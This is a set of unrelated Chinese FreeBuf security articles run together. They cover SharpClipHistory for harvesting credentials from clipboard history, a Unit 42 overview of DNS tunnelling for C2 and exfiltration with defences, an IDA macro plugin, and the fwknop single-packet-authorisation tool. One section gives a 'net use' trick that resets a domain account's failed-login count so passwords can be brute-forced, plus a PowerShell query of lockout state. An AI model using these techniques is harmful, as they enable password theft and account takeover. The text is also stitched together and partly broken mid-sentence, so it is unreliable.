用户有时会复制密码或用户名到剪贴板。所以收集剪贴板历史对攻击者有价值,以便执行诸如横向移动之类的后期开发活动。因此,获取剪贴板历史记录可能很危险,并允许攻击者获取对敏感数据的访问权限。

但是,Microsoft在Windows 10(build 1809)中引入了一项名为Cloud Clipboard的新功能:https://community.windows.com/en-us/stories/cloud-clipboard-windows-10

一般获取剪贴板内容的方法通常是监视复制事件并将新剪贴板内容发送给攻击者。但是,这不能访问所有时间段的内容,但用Cloud Clipboard功能,我们现在可以对UWP API方法进行简单调用,获取剪切版整个历史记录内容。为了滥用此功能,MWR引入了SharpClipHistory通过更改上述注册表项值来启用它。

安装步骤

必须在支持剪贴板历史记录功能的Windows 10主机上编译项目(Build 1809以后)。构建项目应该很简单,只需克隆并在Visual Studio中命中Build。但是,如果缺少程序集,则必须手动添加以下引用:

C:\Program Files (x86)\Windows Kits\10\References\10.0.17763.0\Windows.Foundation.UniversalApiContract\7.0.0.0\Windows.Foundation.UniversalApiContract.winmd

C:\Program Files (x86)\Windows Kits\10\References\10.0.17763.0\Windows.Foundation.FoundationContract\3.0.0.0\Windows.Foundation.FoundationContract.winmd

还必须安装UWPDesktop软件包以处理其他UWP依赖项。CommandLineParser和Costura.Fody也是必需的。 *参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

关于 DNS 隧道技术的滥用调查在本报告中,我们将介绍基于DNS的数据过滤和渗透的类型,方法,并提供了一些防御机制。

DNS

DNS使用端口53,你几乎可以在任何系统,防火墙和客户端上打开并进行DNS查询。这些查询使用UDP协议,而不是TCP协议,所以它与TCP等效查询具有更低的延迟,带宽和资源。但是UDP没有错误或流量控制功能,也没有任何完整性检查以确保数据完好无损。所以互联网如何保证用户浏览网页,使用应用,聊天可靠呢?比如如果在一个实例中UDP DNS查询失败,大多数系统将在多次失败之后,可能切换到TCP; 如果DNS查询超出UDP数据报大小的限制,则也使用TCP 。下面的图1说明了DNS如何运行的基本过程:客户端使用特定类型发送查询字符串(例如,在这种情况下为mail.google [。] com) – 通常为主机地址的A. 我已经跳过了中间DNS系统可能必须确定’.com’存在的部分,然后找出可以找到’google [。] com’的位置。
关于 DNS 隧道技术的滥用调查如果您想深入了解DNS的工作原理 – 从您键入密钥以拼写您想要浏览的域名 – 请这篇文章介绍可以从DNS服务器日志中收集的信息类型的一些想法; 操作此类服务器的管理员获取远程IP发送请求 – 尽管这可能是最后一跳或DNS服务器的IP,而不是确切的请求客户端的IP – 以及查询字符串本身,以及来自服务器的响应。

DNS隧道

现在我们对DNS有了一些认识,以及它在网络中的运行方式以及服务器端跟踪功能,让我们深入了解一下隧道功能。在本节中,我们将描述命令和控制(C2)信标如何在DNS上运行,以及如何实现数据的过滤和渗透。

C2

C2通常有两个目的。首先,它可以充当信标或心跳包,表明他们的远程payload仍在运行(仍然有心跳 ) 因为它正在向服务器发送(通信)。您可以将基本DNS操作(如上面的图1所示)看作一个心跳包的示例。如果客户端系统上的恶意软件通过DNS反复向攻击者的服务器发送查询,则攻击者可以从日志中判断出肉鸡正在运行。下面图2所描述的另一个示例,其中客户端系统受到恶意软件的攻击,该恶意软件正在构建通过DNS发送奇怪外观的查询字符串。像这样的查询仍然充当心跳指示攻击者他们的payload仍然是活跃的,但是他们还提供关于受害者的一些基本元数据,并且重要的是,如何识别一个受害者。
关于 DNS 隧道技术的滥用调查用户名和主机名可能并不能识别主机,但是系统确实具有通用唯一标识符(UUID)或其他属性,这些属性在组合时可以为创建唯一标识符。受感染主机的一些元数据可以作为纯文本发送,但对于在DNS查询中看到此类字符串的任何人来说,乍一看似乎更可疑。在许多情况下,数据将包含DNS不支持的字符,在这种情况下将需要编码。在图2中,您可以看到元数据的base64编码等效项,它使用“ – ”分隔符号构造,用于在服务器端进行简单的解析和解码,如下面的图3所示。
关于 DNS 隧道技术的滥用调查图3显示了来自DNS服务器应用程序的原始DNS日志的示例,其中包含恶意软件的查询和DNS服务器的响应(在本例中为NXDOMAIN(或不存在域)的行条目。在某些方面,像这样的日志,或者可能是包含来自它们的解码记录的小型数据库,可以与控制面板允许黑客控制他们的僵尸系统。

Exfiltration

那么,还有什么可以在DNS查询中发送?好吧,理论上的任何东西,只要它编码正确并且不滥用UDP大小限制。解决后一种约束的方法可能是发送多条A记录消息,并在服务器端以某种方式将它们拼接在一起。与确保重传失败包的TCP不同,UDP没有这样的机制。需要一种算法来理解将发送多少消息,并检查正确的消息到达的数量,但比这更复杂的是,以某种方式要求客户机重新传输某些数据段,直到100%到达为止。根据要传输的数据量(例如,系统上的每个PDF),可能需要花费很长时间,而且对于网络管理员来说非常可疑。

Infiltration

相比之下,无论是代码,命令还是但是,恶意软件如何知道将类型更改为TXT或何时请求“文本”数据?

在我之前的C2 DNS通信示例中,来自DNS服务器的响应是NXDOMAIN。此消息显然会到达客户端系统(和恶意软件),并且可以用于Payload的消息或指令。

NOERROR,该术语暗示一切正常 – 您的请求已得到处理并且答案等待着您。使用NOERROR可以处理响应。通常这是IPv4(用于A类型请求)或IPv6(用于AAAA类型请求)或者它可以是TXT,如上面的图4所示。一个简单的例子 – IPv4地址响应 – 恶意软件不需要实际的IP与之通信,不像您的浏览器询问“google [。] com在哪里?”。

恶意软件已使用C2 over DNS与其目的地进行通信。恶意软件可以使用IP响应的是4,294,967,296个命令或指令中的任何一个。同样这个非常简单,IP的第 4 个八位字节中的特定值(例如100)可能指示恶意软件向行动者的域发送TXT DNS查询以收集和执行Payload。第一个八位字节中的值10可能意味着从操作系统和事件日志中卸载并擦除Payload的痕迹。从字面上看,选项是无穷无尽的,可能的复杂程度也是如此。鉴于攻击者可以控制DNS服务器,并且某些DNS服务器应用程序或守护进程具有高度可配置性,因此可以根据从他们发送的请求将条件响应发送回受害者系统上的恶意软件。例如,如果传入查询包含某个标志(字符)作为域名的第一个子域,则可以由在服务器上的DNS服务内运行的程序读取,并向客户端提供自定义响应。这可以用于恶意软件自动处理一组任务,并相应地向受害者报告以接收他们的下一个任务。

结论

DNS是非常强大的工具,几乎可以在任何地方使用,允许应用程序和系统查找与之交互的资源和服务。DNS提供了一个通信基础,使更高级别和更强大的协议能够运行,但从安全角度来看,这可能意味着它被忽略,特别是当您考虑通过电子邮件协议传送多少恶意软件或使用HTTP从Web下载时。出于这些原因,DNS是黑客的完美选择,以利用来自受感染主机的通信。Unit 42已经看到多个恶意软件实例及其背后的参与者滥用DNS以实现其目标,如本报告所述。无论是使用Palo Alto Networks的安全操作平台还是开源技术,组织都可以通过多种不同的方式保护自己免受DNS隧道攻击。

防御可以采取许多不同的形式,例如但不限于以下内容:

1.根据已知声誉或感知危险阻止域名(或IP或地理定位区域);

2.关于“strange looking”DNS查询字符串的规则;

3.有关出站或入站DNS查询的长度,类型或大小的规则;

4.客户端操作系统的一般强化,并了解名称解析功能及其特定搜索顺序;

5.用户和/或系统行为分析,可自动发现异常情况,例如访问的新域,尤其是访问方法和频率异常时。

*参考来源:unit42,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

什么是climacros?

CLI宏是一种生产力工具,可让您在IDA的命令行界面(Python,IDC,WinDbg,BochDbg,Gdb等)中定义和使用静态或动态宏。

climacros-vid-1.gif

用法

安装后,climacros始终处于活动状态。它带有一组预定的宏

为IDA命令行模式增加宏支持功能的插件

要创建或编辑新宏,只需从“快速插件视图”窗口(Ctrl-3)调用宏编辑器。

静态宏

静态宏在CLI中按原样替换。例如以下宏:

为IDA命令行模式增加宏支持功能的插件

执行时输出以下内容:

为IDA命令行模式增加宏支持功能的插件

动态宏

可以定义动态宏,这些宏通过评估返回字符串的Python表达式而得到扩展。例如,该idc.here()命令非常有用,可以缩写为较短的宏,例如$!${here}。要定义动态宏,只需用${和包围其表达式}$。长形式的宏${here}用于idc.here()表达的定义如下:

为IDA命令行模式增加宏支持功能的插件

简短形式$!

为IDA命令行模式增加宏支持功能的插件

当CLI命令中存在宏时,将调用该宏:

为IDA命令行模式增加宏支持功能的插件

内联替换

您不必定义宏以便在CLI中进行表达式扩展。如果您需要在CLI中进行一次性表达式扩展,只需定义内联表达式:

fn =  “ test _ $ {str(sum(range(10)))} $。bin ”

要么:

v =  “ $ {str(1 + 2 + 3 + 4)} $ ”

表达式应始终求值为字符串,因此始终记住str()表达式,或者"%x" % expr如果它不返回字符串,则将其格式化。

安装

climacros是用C ++编写的,带有IDA的SDK,因此它应该像常规插件一样进行部署。将插件二进制文件复制到以下任一位置:/plugins%APPDATA%\Hex-Rays/plugins由于该插件使用IDA的SDK而没有其他特定于操作系统的功能,因此该插件应该可以编译为macOS和Linux。我只提供MS Windows二进制文件。请查看*参考来源:

*本文仅用于教育目的。 切勿在未授权的计算机上进行安全测试。

获取用户帐户密码有很多好方法,这只是另一种方式。 好的,让我们开始吧。核心思路是,用户想要爆破身份验证,他们就可以运行“net use \\%computername%/ u:%username%”命令,该命令可以重新要求身份验证并重置锁定计数。要想进行操作,您需要从Microsoft下载远程服务器管理工具安装该工具后,运行一小段powershell脚本以显示我的JoeUser帐户信息并锁定。

get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto

绕过域账户认证失败锁定次数限制的技巧在我的本地策略中,您可以看到我在3次无效登录尝试后被锁定(我从Microsoft获得的默认安装值)。
绕过域账户认证失败锁定次数限制的技巧接下来我将输入错误的密码,window将记录我的错误次数。
绕过域账户认证失败锁定次数限制的技巧现在我将使用命令清除错误的密码尝试:“Net use \\%computername%/ u:%username%”注意我没有指定密码。 我已经以用户身份登录,它似乎使用当前用户的上下文进行身份验证,并清除了错误的密码计数!
绕过域账户认证失败锁定次数限制的技巧现在我可以使用这种技术爆破密码。 唯一的缺点是我必须在每次设置后删除共享。 例如,现在我已经进行了共享设置,如果我尝试爆破密码,我会收到此消息
绕过域账户认证失败锁定次数限制的技巧然而只需一条命令即可“Net Use /Delete \\%computername%”
绕过域账户认证失败锁定次数限制的技巧正式测试,我使用Daniel Miesslers SecLists的前10000名密码

绕过域账户认证失败锁定次数限制的技巧成功爆破

*参考来源:medium,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

fwknop实现了一种称为单包授权(SPA)的授权方案,用于隐藏服务。SPA将单个数据包经过加密,不可重放,并通过HMAC进行身份验证,以便在传达到隐藏在防火墙后面的服务。

SPA的主要应用场景是防火墙来过滤一切SSH等服务流量,从而使漏洞的利用(包括0day的和未打补丁)变得更加困难。由于没有开放端口,因此无法使用Nmap扫描SPA隐藏的任何服务。

fwknop项目支持四种不同的防火墙:Linux,OpenBSD,FreeBSD和Mac OS X上的iptables,firewalld,PF和ipfw。

SPA基本上是下一代Port Knocking(PK),但在保留其核心优势的同时,解决了PK所表现出的许多限制。PK局限性包括难以防止重放攻击,不对称密码和HMAC计划,通常不可能可靠地支持,这是非常简单的挂载一个DoS攻击PK服务器通过欺骗一个额外的包成PK顺序遍历网络(因此令人信服的PK服务器客户端不知道正确的序列)。所有这些缺点都通过SPA得到了解决。

同时,SPA将服务隐藏在默认的drop防火墙策略后面,被动地获取SPA数据(通常通过libpcap或其他方法),并为SPA包身份验证和加密/解密实现标准的加密操作。

由fwknop生成的SPA数据包利用HMAC在加密然后验证模型中进行身份验证加密。虽然HMAC的使用目前是可选的(通过--use-hmac命令行开关启用),但有三个原因强烈建议使用:

1.如果没有HMAC,除非使用GnuPG,否则fwknop不可能进行加密的强身份验证,但即使这样,仍然应该应用HMAC。

2.加密后应用的HMAC可防止密码分析CBC模式填充oracle攻击,例如Vaudenay攻击和相关欺骗(如最近的针对SSL的“Lucky 13”攻击)。

3.wknopd守护进程验证HMAC所需的代码比解密SPA包所需的代码要简单得多,因此没有正确的HMAC的SPA包甚至不会通过解密例程发送。

上面的最后一个原因是,即使SPA数据包使用GnuPG加密,仍然应该使用HMAC,因为SPA数据不是通过libgpgme函数发送的,除非HMAC首先检出。GnuPG和libgpgme是相对复杂的代码体,因此限制潜在攻击者通过HMAC操作与此代码交互的能力有助于保持更强的安全性。生成用于SPA通信的HMAC除了普通加密密钥之外还需要专用密钥,并且可以使用该--key-gen选项生成两者。

fwknop使用Rijndael分组密码或通过GnuPG和相关的非对称密码对SPA数据包进行加密。如果选择了对称加密方法,则通常在客户端和服务器之间共享加密密钥(/etc/fwknop/access.conf有关详细信息,请参阅文件)。用于Rijndael加密的实际加密密钥是通过标准PBKDF1密钥导出算法生成的,并且设置了CBC模式。如果选择GnuPG方法,则加密密钥从GnuPG密钥环导出。

用例

使用单数据包授权(SPA)或安全性受到挑战的同类端口 Knocking(PK)的人通常访问在部署SPA / PK软件的同一系统上运行的SSHD。也就是说,在主机上运行的防火墙对所有传入的SSH连接都有一个默认删除策略,这样就不能扫描SSHD,但是SPA守护进程会重新配置防火墙,暂时授予对被动认证的SPA客户机的访问权:

1.png

fwknop支持上述内容,但也更加牛批,并且使用NAT(对于iptables / firewalld防火墙)。毕竟,重要的防火墙通常是网络之间的网关,而不是仅部署在独立主机上。NAT通常用于此类防火墙(至少用于IPv4通信),以便为RFC 1918地址空间上的内部网络提供Internet访问,并允许外部主机访问内部系统上托管的服务。

由于fwknop与NAT集成,因此可以利用SPA 通过外部Internet上的用户通过防火墙访问内部服务。虽然这在现代传统网络上有很多应用,但它也允许fwknop支持亚马逊的AWS等云计算环境:

2.png

用户界面

官方跨平台fwknop客户端用户界面fwknop-gui (下载github)由Jonathan Bennett开发。支持大多数主要的客户端SPA模式,包括NAT请求,HMAC和Rijndael密钥(尚不支持GnuPG),fwknoprc节点保存等。目前fwknop-gui在Linux,Mac OS X和Windows上运行。

这是来自OS X的截图:

3.png

教程

有关fwknop的综合教程可以在这里找到:

http://www.cipherdyne.org/fwknop/docs/fwknop-tutorial.html

特征

以下是fwknop项目支持的完整功能列表:

1.在Linux上的iptables和firewalld防火墙,* BSD和Mac OS X上的ipfw防火墙以及OpenBSD上的PF上实现单个数据包授权。

2.fwknop客户端在Cygwin下的Linux,Mac OS X,* BSD和Windows上运行。此外,还有一个Android应用程序可以生成SPA数据包。

3.支持Rijndael和GnuPG方法用于SPA数据包的加密/解密。

4.支持Rijndael和GnuPG的HMAC认证加密。操作顺序是加密 – 然后验证以避免各种密码分析问题。

5.通过有效传入SPA数据包的SHA-256摘要比较来检测和阻止重播攻击。还支持其他摘要算法,但SHA-256是默认算法。

6.通过libpcap从导线上被动地嗅探SPA包。fwknopd服务器还可以从由单独的以太网嗅探器(例如with tcpdump -w <file>),iptables ULOG pcap writer或直接通过UDP套接字--udp-server模式写入的文件中获取数据包数据。

7.对于iptables防火墙,fwknop添加的ACCEPT规则在自定义iptables链中添加和删除(在可配置的超时之后),以便fwknop不会干扰可能已经加载到系统上的任何现有iptables策略。

8.支持经过身份验证的SPA通信的入站NAT连接(仅适用于iptables防火墙)。这意味着可以将fwknop配置为创建DNAT规则,以便您可以从开放Internet访问RFC 1918 IP地址上的内部系统上运行的服务(如SSH)。还支持SNAT规则,它实质上将fwknopd转换为SPA验证网关,以从内部网络访问Internet。

9.fwknop服务器支持多个用户,并且可以通过/etc/fwknop/access.conf文件为每个用户分配自己的对称或非对称加密密钥。

10.通过https://www.cipherdyne.org/cgi-bin/myip自动解析外部IP地址 (当从NAT设备后面运行fwknop客户端时,这非常有用)。由于外部IP地址在此模式下在每个SPA数据包内进行加密,因此中间人(MITM)会攻击内联设备拦截SPA数据包并仅从其他IP转发以获取访问权限受到阻碍。

11.SPA数据包的目标端口以及通过iptables NAT功能建立后续连接的端口支持端口随机化。后者适用于转发到内部服务的连接以及授予运行fwknopd的系统上的本地套接字的访问权限。

12.与Tor集成(如本DefCon 14演示文稿中所述)。请注意,由于Tor使用TCP进行传输,因此通过Tor网络发送SPA数据包要求每个SPA数据包都通过已建立的TCP连接发送,因此从技术上讲,这打破了“单数据包授权”的“单一”方面。但是,Tor提供的匿名优势在某些部署中可能超过这一考虑因素。

13.实现SPA通信的版本化协议,因此很容易扩展协议以提供新的SPA消息类型,同时保持与旧的fwknop客户端的向后兼容性。

14.支持代表有效SPA数据包执行shell命令。

15.fwknop服务器可以配置为对入站SPA数据包施加多个限制,超出加密密钥强制执行的限制和重放攻击检测。即,包年龄,源IP地址,远程用户,对请求端口的访问等。

16.捆绑了fwknop是一个全面的测试套件,它发布了一系列测试,旨在验证fwknop的客户端和服务器部分是否正常工作。这些测试涉及通过本地环回接口嗅探SPA数据包,构建临时防火墙规则,根据测试配置检查相应的访问权限,并解析来自fwknop客户端和fwknopd服务器的输出,以获得每个测试的预期标记。测试套件输出可以很容易地匿名化,以便与第三方进行通信以进行分析。

17.fwknop是第一个将端口敲击与被动操作系统指纹识别相结合的程序。但是,单包授权提供了除端口 knocking之外的许多安全优势,因此通常不推荐端口 knocking操作模式。

License

fwknop项目根据GNU通用公共许可证(GPL v2)或(根据您的选择)任何更新版本的条款作为开源软件发布。最新版本可在http://www.cipherdyne.org/fwknop/找到。

升级

如果您从旧版本的fwknop升级(这也包括原始的perl实现),那么您将需要阅读以下链接以确保顺利过渡到fwknop-2.5或更高版本:

http://www.cipherdyne.org/fwknop/docs/fwknop-tutorial.html#backwards-compatibility

Building fwknop

此发行版使用GNU autoconf来设置构建。INSTALL有关使用autoconf的一般基础知识,请参阅文件。

有一些特定于fwknop的“配置”选项。它们是(从./configure –help中提取):

  --disable-client        Do not build the fwknop client component. The
                        default is to build the client.
--disable-server       Do not build the fwknop server component. The
                        default is to build the server.
--with-gpgme           support for gpg encryption using libgpgme
                        [default=check]
--with-gpgme-prefix=PFX prefix where GPGME is installed (optional)
--with-gpg=/path/to/gpg Specify path to the gpg executable that gpgme will
                        use [default=check path]
--with-firewalld=/path/to/firewalld
                        Specify path to the firewalld executable
                        [default=check path]
--with-iptables=/path/to/iptables
                        Specify path to the iptables executable
                        [default=check path]
--with-ipfw=/path/to/ipfw
                        Specify path to the ipfw executable [default=check
                        path]
--with-pf=/path/to/pfctl
                        Specify path to the pf executable [default=check
                        path]
--with-ipf=/path/to/ipf Specify path to the ipf executable [default=check
                        path]

Examples:

./configure --disable-client --with-firewalld=/bin/firewall-cmd
./configure --disable-client --with-iptables=/sbin/iptables --with-firewalld=no

笔记

从Perl版本的fwknop迁移

对于那些目前正在使用Perl版本并计划迁移到此版本的人,有一些事项需要注意:

1.并非所有基于Perl的fwknop的特性和功能都被移植到此实现中。我们认为保持C版本尽可能精简和轻量化非常重要。大多数省略的功能/功能(如电子邮件警报)可以通过其他方式完成(即使用外部脚本监视日志文件并根据相应的日志消息发出警报)。

2.fwknop配置和访问文件指令和值存在一些差异。其中一些是相当微妙的。您应该特别注意这些文件中的文档和注释。

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM